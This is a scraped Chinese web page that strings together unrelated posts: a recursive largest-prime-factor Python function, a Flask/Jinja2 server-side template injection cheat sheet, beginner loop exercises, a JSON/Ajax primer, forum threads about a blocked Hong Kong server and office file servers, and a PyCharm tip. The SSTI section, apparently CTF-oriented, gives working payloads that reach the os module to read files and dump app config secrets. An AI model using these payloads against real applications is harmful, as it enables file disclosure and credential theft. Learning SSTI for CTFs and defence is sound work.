*大质因子的递归解法&Python:

*大质因子的递归解法&Python:
问题描述:
求一个任意正整数的*大质因子,呈上代码及注释:
# *大质因子
def calc(x:int)->int:# 函数参数类型设置以及返回值类型设置
    if x==1:## 如果这个数字是1,则*大质因子一定是1,毋庸置疑
        return 1
    for i in range(2,x):##   如果这个数字不是1,就从2开始,一直找到这个数字的前一个数字,寻找
        if x%i==0:      ## 这个数字的*小的因子,然后将这个数字除以*小的因子,再将结果的*大质因子返回给调用者
            return calc(int(x/i))
    return x## 如果数字既不是1,又没有1和其本身之外的任何因子,那么这个数字本身就是*大质因子
print(calc(600851475143))
递归思想、代码及注释分析:
代码部分是非常简单易懂的,都是些基础的python语法,我要讲的是注释部分,注释部分是基于我个人对于递归的理解写出来的,在此跟大家分享我对于递归的拙见。
首先,在递归解决问题的过程中,每次的递归都是重复着只有参数不同的工作,所以即使是在递归函数仅仅只写了一个函数定义的时候,我们就可以假定它已经完全可以胜任我们所需要的工作了,接下来,我们给它设置一个出口,让它可以在*简单的情况下直接完成工作,本例中就是x==1的情况;*简单的情况完成之后,我们就可以开始研究比较复杂的情况了,这个要具体问题具体分析,我们已经假定它完全可以胜任我们所需要的工作,所以在本例中,我们找到x的*小因子之后,直接将x除以这个*小因子,然后求出这个结果的*大质因子(注意这一步就是我们之前提到的“假定它完全可以胜任我们所需要的工作”,直接把需求丢给函数,至于怎么完成的,我不需要知道),而这个*大质因子就是我们要的答案;*后不要忘了遗漏可能存在的特殊情况,本例中就是x为质数的情况。
笔者觉得递归的难点只在于逻辑的层层嵌套,但其实我们完全可以不用让自己的思路进入递归,我们只在外层逻辑上干好我们每一步的任务,至于实际上是怎么完成的,我并不需要知道。
为何要从除法的结果里面寻找*大质因子:
关于除1和本身之外的*小因子,和*大质因子的关系,我并没有总结出结论,实际上这个*小因子必定是个质数,而且*小因子一定是小于等于*大质因子的。那为什么要用x除以*小因子,然后再在结果中寻找x的*大质因子呢?我是这样想的,因为*大质因子,首先它是个质数,就像是沙子中的*大石块,我们无论怎么过滤掉沙子,石块也依然存在,我们设置寻找*小因子的范围是2到x-1,如果*小因子等于*大质因子,那么除法的结果里面既没有更大的质因子,又没有小于*大质因子的因子,也就是说,除法的结果只能是*大质因子的n次方;如果*小因子小于*大质因子,那么除法结果里面就必定包含*大质因子,所以在我们对x进行除法之后,这个石块依然在除法的结果中,我们进行的除法,只是起到了过滤筛的作用,还是那句话,我们假定函数完全可以胜任我们所需要的工作,只需要把参数丢给它,我们只需要确定的是参数的正确性,而我们已经确定了石块就在我们传递的参数内,所以拿到正确结果也是理所当然。

SSTI-模板注入小知识

SSTI-模板注入小知识
flask/jinja
总结
SSTI
借鉴大佬博客:
https://www.cnblogs.com/20175211lyz/p/11425368.html
浅析SSTI(python沙盒绕过)
简要介绍
SSTI 全称Server Side Template Injection,服务器模板注入。
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务端把用户输入的内容渲染成模板就可能造成SSTI。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
flask/jinja
__dict__ 保存类实例或对象实例的属性变量键值对字典  __class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
{{config}}
可以获取当前设置,
如果题目有语句
app.config [‘FLAG’] = os.environ.pop(’FLAG’)
1
那可以直接访问 {{config[‘FLAG’]}} 或者 {{config.FLAG}} 得到flag
也可以使用{{self}}获取当前设置
使用 {{self.dict._TemplateReference__context.config}}
也可以找到当前设置config
一些注入语句:
{{os.listdir(‘.’)}} 访问当前目录下的文件有哪些
{{[].__class__.__base__.__subclasses__()}}访问所有模块
知道访问os模块都是从warnings.catch_warnings模块入手的。
找到catch_warnings的位置(上面查到的所有模块的索引,假如是59,即第59个模块)
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
可以查询到一些global函数,进入含有os模块的函数
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__}}
找寻到os模块
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’]}}
使用上面语句代替os模块使用
[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].read()
[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].open()
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].read([].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].open(“flag”,[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].O_RDONLY),40)}}
如果config,self不能使用,要获取配置信息,可以使用下面的语句:
{{url_for.__globals__[‘current_app’].config.FLAG}}
{{get_flashed_messages.__globals__[‘current_app’].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__[‘json’].JSONEncoder.default.__globals__[‘current_app’].config[‘FLAG’]}}
在实际场景中,把FLAG修改一下就可以使用了

循环练习

循环练习
输入一个n,输出n个斐波拉切数
例:1,1,2,3,5,8,13,21,34,55,…
n = int(input(‘输入一个数:’))
a, b = 1, 1
print(a, b, end=’ ‘)
#当变量用不上时用“_”表示
for _ in range(2, n):
    c = a + b
    print(c, end=’ ‘)
    a = b
    b = c
百钱百鸡问题
公鸡5元一只,母鸡3元一只,小鸡1元3只,用100元买了100只鸡,公鸡母鸡小鸡各几只
分析:可以使用穷举法
穷举法:穷尽所有的可能性,然后设置条件,找到问题的值—–>暴力破解法
for i in range(21):
    for j in range(34):
        k = 100 – i – j
        if k % 3 == 0 and 5 * i + 3 * j + k // 3 == 100:
            print(i, j, k)
捕鱼
五个人晚上去捕鱼,捕了不计其数的鱼,然后累了去睡觉。
第二天,A*个醒来,把鱼分成了五分,扔掉了多余的1条,然后拿走了自己的一份
B第二个醒过来,以为鱼没分过,把剩下的鱼分成了5份,扔掉多余的1条,拿走自己的一份
C、D、E依次醒来,按照同样方法分鱼。
问他们捕了多少鱼?
n = 1
while True:
    is_enough = True
    total = n
    for _ in range(5):
        if (total – 1) % 5 == 0:
            total = (total – 1) // 5 * 4
        else:
            is_enough = False
            break
    if is_enough:
        print(n)
        break
    n += 1
猜数字
机生成一个1-100的数,输入自己猜的数,如果不对根据提示重新输入,如果猜的次数超出7,则退出循环,提示”智商余额不足“
import random
n = random.randrange(1, 101)
count = 0
while True:
    x = int(input(‘输入你想的数:’))
    count += 1
    if x > n:
        print(f’猜大了’)
    elif x < n:
        print(f’猜小了’)
    else:
        print(f’猜对了,猜了{count}次’)
        break
if count > 7:
    print(‘你的智商余额不足!’)
从键盘输入10个大于0的整数(1-99)找到平均值,*大值和*小值
s = 0
m = 1
n = 100
for _ in range(10):
    x = int(input(‘请输入:’))
    if x > m:
        m = x
    if x < n:
        n = x
    s += x
print(f’平均值为:{s / 10},*大值为:{m},*小值为:{n}’)

分支与循环结构的应用

分支与循环结构的应用
经典案例
例1:斐波那契数列
说明:斐波那契数列的特点是数列的前两个数都是1,从第三个数开始,每个数都是它前面两个数的和。那么斐波那契数列的前十个数为:1 1 2 3 5 8 13 21 34 55
“””
example1 – 输入一个整数n,输出n个斐波那契数
1 1 2 3 5 8 13
Author: yucui
Date: 2021/7/22
“””
n = int(input(‘请输入一个整数:’))
a, b = 1, 1
print(a, b, end=’ ‘)
while n – 2:
    c = a + b
    print(c, end=’ ‘)
    b = a
    a = c
    n = n – 1
输入n = 20
运行结果:
1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765
1
例2:百钱买百鸡问题
公鸡5元一只,母鸡3元一只,小鸡1元三只,用100块钱买一百只鸡,问公鸡、母鸡、小鸡各有多少只?
“””
example2 – 百钱买百鸡
穷举法(暴力破解法):穷尽所有可能性,然后设置条件,找到问题的解
Author: yucui
Date: 2021/7/22
“””
# 公鸡取值范围是0到20
for x in range(0, 21):
    # 母鸡取值范围是0到33
    for y in range(0, 34):
        z = 100 – x – y
        if z % 3 == 0 and 5 * x + 3 * y + z // 3 == 100:
            print(f’公鸡{x}只, 母鸡{y}只, 小鸡{z}只’)
例3:分鱼问题
五个人晚上去捕鱼,捕了不计其数的鱼,然后累了去睡觉。
第二天,A*个醒来,把鱼分成了五分,扔掉了多余的1条,然后拿走了自己的一份,
B第二个醒过来,以为鱼没分过,把剩下的鱼分成了5份,扔掉多余的1条,拿走自己的一份,
C、D、E依次醒来,按照同样方法分鱼。
问他们*少捕了多少鱼?
“””
example3 – 穷举法求解分鱼问题
Author: yucui
Date: 2021/7/22
“””
num = 6
while num:
    is_enough = True
    # 检查目前的鱼够不够5个人分
    total = num
    for _ in range(5):
        if (total – 1) % 5 == 0:
            total = (total – 1) // 5 * 4
        else:
            is_enough = False
            break
    if is_enough:
        print(num)
        break
    num += 5
思路:假定一共钓了6条鱼,5次循环,如果每次都能保证够5个人分,则打印该数字,否则将鱼的数量加5,直至能满足5次循环都能满足够5个人分,此时的鱼的数量是*少满足情况的数量。
例4:猜数字游戏
随机生成一个1-100的数,输入自己猜的数,
计算机给出提示:‘猜大了’、‘猜小了’、‘恭喜您猜对了’,并显示猜对用的次数,
如果猜的次数超出7,提示”智商余额明显不足“。
“””
example4 – 猜数字游戏
Author: yucui
Date: 2021/7/22
“””
from random import randrange
count = 0
num = randrange(1, 101)
while True:
    count += 1
    guess = int(input(‘请输入您猜的数字:’))
    if guess == num:
        print(f’恭喜您猜对了,您一共猜了{count}次’)
        break
    elif guess < num:
        print(‘猜小了’)
    else:
        print(‘猜大了’)
if count > 7:
    print(‘智商余额明显不足’)
例5:*大值、*小值、平均值问题
输入10个范围在1-99的正整数,输出*大值、*小值、平均值
“””
example5 – 输入10个正整数1-99,找*大值、*小值、平均值
Author: yucui
Date: 2021/7/22
“””
max_num = 0
min_num = 100
total = 0
count = 0
while count < 10:
    num = int(input(‘请输入:’))
    if num < 1 or num > 99:
        print(‘无效输入’)
        continue
    count += 1
    if max_num < num:
        max_num = num
    if min_num >= num:
        min_num = num
    total += num
average = total / 10
print(f’*大值{max_num},*小值{min_num},平均值{average:.2f}’)

【爬虫】JSON、Ajax,来了解一下!

【爬虫】JSON、Ajax,来了解一下!
1 初识
1.1 JSON
JavaScript 对象表示法(JavaScript Object Notation)。是一种轻量级的数据交换格式,它使得人们很容易的进行阅读和编写。同时也方便了机器进行解析和生成。适用于进行数据交互的场景,比如网站前台与后台之间的数据交互。它的格式和Python中的字典格式类似。
{
    “sites”: [
    { “name”:”菜鸟教程” , “url”:”www.runoob.com” },
    { “name”:”google” , “url”:”www.google.com” },
    { “name”:”微博” , “url”:”www.weibo.com” }
    ]
}
Python字典中的键值对,单引号双引号都可以使用,而JSON中只用双引号,这算是一个小区别。
1.2 Ajax
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。在不重新加载整个页面的情况下与服务器交换数据并更新部分网页的方式。
举个例子,当我们访问某个新闻网站时,访问的URL并没有改变,但是当你不断下拉时,总有新的内容加载出来,这里使用到的技术就是Ajax。
2 json内置包使用
import json
mydict = {‘name’: ‘xiaoming’, ‘age’: 18}
#json.dumps 实现python类型转化为json字符串
json_str = json.dumps(mydict)
#json.loads 实现json字符串转化为python的数据类型
my_dict = json.loads(json_str)
————————————————
版权声明:本文为CSDN博主「沐籽丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_27200969/article/details/81585396
相关链接:
1. JSON 教程 | 菜鸟教程 (runoob.com)
2. 爬虫入门(六)数据提取之json_沐籽丶的博客-CSDN博客_json爬虫
3. Python爬虫:分析AJAX传递的JSON获取数据-初步分析动态网页(1)_如梦如幻的博客-CSDN博客_python爬虫json数据解析

[阿里云香港节点] 无法连接

服务器 IP:47.91.227.106

这台服务器今天突然凉了,ping 不通,ssh 也超时
根据 mtr 看,怀疑被强了。麻烦大佬帮忙确认下是不是,有什么解决方法吗?

贴出日志:

Host Lost Sent Recv Best Avrg Wrst Last 192.168.123.1 局域网 对方和您在同一内部网 0 6 6 1 1 2 1
222.95.68.1 江苏省南京市 电信 0 6 6 3 68 264 64
221.231.190.21 江苏省南京市 电信 0 6 6 5 6 8 7
218.2.182.29 江苏省南京市 电信 0 6 6 5 6 9 5
202.97.41.225 中国 电信骨干网 0 6 6 6 6 8 7
59.43.80.53 中国 电信 CN2 骨干网 0 6 6 5 5 8 5
59.43.103.222 中国 电信 CN2 骨干网 0 6 6 30 31 32 32
No response from host 100 2 0 0 0 0 0
59.43.187.138 中国 电信 CN2 骨干网 0 6 6 33 36 51 34
59.43.183.106 中国 电信 CN2 骨干网 0 6 6 38 48 94 94
59.43.186.122 中国 电信 CN2 骨干网 0 6 6 37 38 39 38
203.100.48.130 福建省 电信 0 6 6 38 38 39 39
116.251.74.149 浙江省杭州市 淘宝网络有限公司 0 6 6 38 38 40 38
11.211.16.157 美国 俄亥俄州哥伦布市 DoD 网络信息中心 0 6 6 40 41 44 41
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0
No response from host 100 2 0 0 0 0 0

response host from 骨干网17 条回复 • 2019-06-06 10:33:35 +08:00
etc 1
etc 2018-03-17 12:53:17 +08:00
晾一段时间再看看吧
MeteorCat 2
MeteorCat 2018-03-17 12:54:49 +08:00 via Android
我前段时间也这样,你搭建 SS 了?后来我退了换国内,没办法,身在国内
inlefter 3
inlefter 2018-03-17 12:57:22 +08:00
@MeteorCat 是啊,估计 IP 被搞了
zhenjiachen 4
zhenjiachen 2018-03-17 12:58:32 +08:00
我的搬瓦工昨天还可以,今天也上不去了
MeteorCat 5
MeteorCat 2018-03-17 13:02:26 +08:00 via Android
@inlefter 估计 GG 了
zander 6
zander 2018-03-17 13:03:28 +08:00 via iPhone
这几天据说香港被干很严重。
affyun 7
affyun 2018-03-17 13:03:52 +08:00
解决方法是换 ip

MeteorCat 8
MeteorCat 2018-03-17 13:03:59 +08:00 via Android
@inlefter 你看下北京开会结束还能不能上,可能只是少数抽风,要是三天都不行 那么真 GG 了
imydou 9
imydou 2018-03-17 13:07:56 +08:00
我的香港阿里云也是
间断性全部失联
or
网站能访问,远程连不上,ping 丢包
strahe 10
strahe 2018-03-17 13:08:01 +08:00
我们的阿里云香港服务器也是, 时常不稳定,

inlefter 11
inlefter 2018-03-17 13:10:10 +08:00
@zander 前几天也这样,后来正常了,今天彻底凉了
inlefter 12
inlefter 2018-03-17 13:10:28 +08:00
@affyun 哈哈,形象生动
hsuan 13
hsuan 2018-03-17 13:15:26 +08:00 via Android
我的开会*天就凉了,我个人自用,流量也不大,看来墙已经可以精准识别了。
inlefter 14
inlefter 2018-03-17 13:17:35 +08:00
@hsuan 打算试试 vmes
doubleflower 15
doubleflower 2018-03-17 13:22:57 +08:00 via Android
你不知道今天是什么日子吗?每逢这种日子总是会倒下一大批,不是 fq 只是流量大的服务器也会倒
ysh298053417 16
ysh298053417 2018-03-22 23:20:08 +08:00
ping.pe 表示国内全红 0 0 GG 了
hongwanzhang 17
hongwanzhang 2019-06-06 10:33:35 +08:00
我昨天也这样,请问有什么办法或者换什么服务器好点?

求推荐适合小公司用的服务器

主要用来作文件服务器,由于放在办公室里面,噪音越小越好。 Gen8 是几年前的产品了,Gen10 是 AMD 的 U,不知道用起来怎么样? 体积的话大点没关系,不一定要像 Gen8 这么小。

gen8 gen10 服务器 AMD6 条回复 • 2018-06-06 19:26:54 +08:00
20has 1
20has 2018-06-06 11:12:12 +08:00 via Android
群晖
cy18 2
cy18 2018-06-06 11:32:25 +08:00
@20has 3Q,不过还是倾向于自己装 Linux- –
tonghuashuai 3
tonghuashuai 2018-06-06 11:33:26 +08:00
如果仅仅是文件服务器的话那搞个群晖吧,如果出了文件服务器还有其他需求的话 Gen 8 完全够了
learnshare 4
learnshare 2018-06-06 11:33:37 +08:00
群辉比自己折腾靠谱多了,办公套件之类的基本够用
ryd994 5
ryd994 2018-06-06 11:48:50 +08:00 via Android
搞个二手工作站,重点是服务器 CPU+ECC 内存
比白裙盘位多,比黑裙稳定
装个 nas4free,zfs 强烈推荐 ECC 内存
价格比低配 gen8 便宜,但是性能更好,而且盘位多

具体怎么买学图吧垃圾佬,跳过显卡部分就行
nightwind 6
nightwind 2018-06-06 19:26:54 +08:00 via Android
dell poweredge t130 或者 t30 都可以,塔式基本都是静音设计的

Pycharm远程:重启后无法连接远程—-解决办法

pycharm配置了远程后,重启无法连接,google上查到了解决办法

重启后无法连接远程—-解决办法

File -­> Settings /mac 下是Pycharm->Prefences
Project -> Project Interpreter
点击右侧的齿轮按钮
选择 “More”
选中你的远程编译环境路径,点击编辑
选择ssh重新填写账号信息,不行切一下Dep回来再填
Click “ok”

总结:4.02版本的bug,只能这么配置

挖宝藏数据平台

挖宝藏数据平台为你提供网站前后端程序员的便捷工具, 我们立志于打造*专业的站长数据平台, 包括但不限于各种常用的API接口, 各大域名主机商的批量化自动操作,批量添加域名,批量解析,批量删除解析,批量开启代理, 域名被墙被污染检测,还有前端站长喜爱的网页开发工具: 加密解密、编码转换、Meta信息、二维码生成等等, 后续我们会一直开发实用的小脚本, 为您的开发之旅带来一点帮助!

点击访问

%title插图%num